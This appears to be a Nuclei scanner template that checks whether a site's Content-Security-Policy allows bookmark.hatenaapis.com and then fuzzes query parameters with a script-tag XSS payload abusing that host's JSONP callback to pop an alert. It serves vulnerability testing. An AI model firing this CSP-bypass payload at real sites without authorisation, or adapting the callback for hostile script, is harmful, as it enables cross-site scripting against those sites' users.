id: hatenaapis-bookmark-csp-bypass

info:
  name: Content-Security-Policy Bypass - Hatena APIs Bookmark
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,hatenaapis-bookmark

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "hatenaapis.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: hatenaapis_bookmark_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://bookmark.hatenaapis.com/count/entry?url=x&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "hatenaapis_bookmark_csp_xss == true"
# digest: 4a0a00473045022045491ec56843c145e0c3c1c1d9b25e56b17d556285dd459c23f3bcc441702b5f022100a45034393fc54c983349a5fa2c9abf645a40f33400cd2a30f5cbda27b9060ade:922c64590222798bb761d5b6d8e72950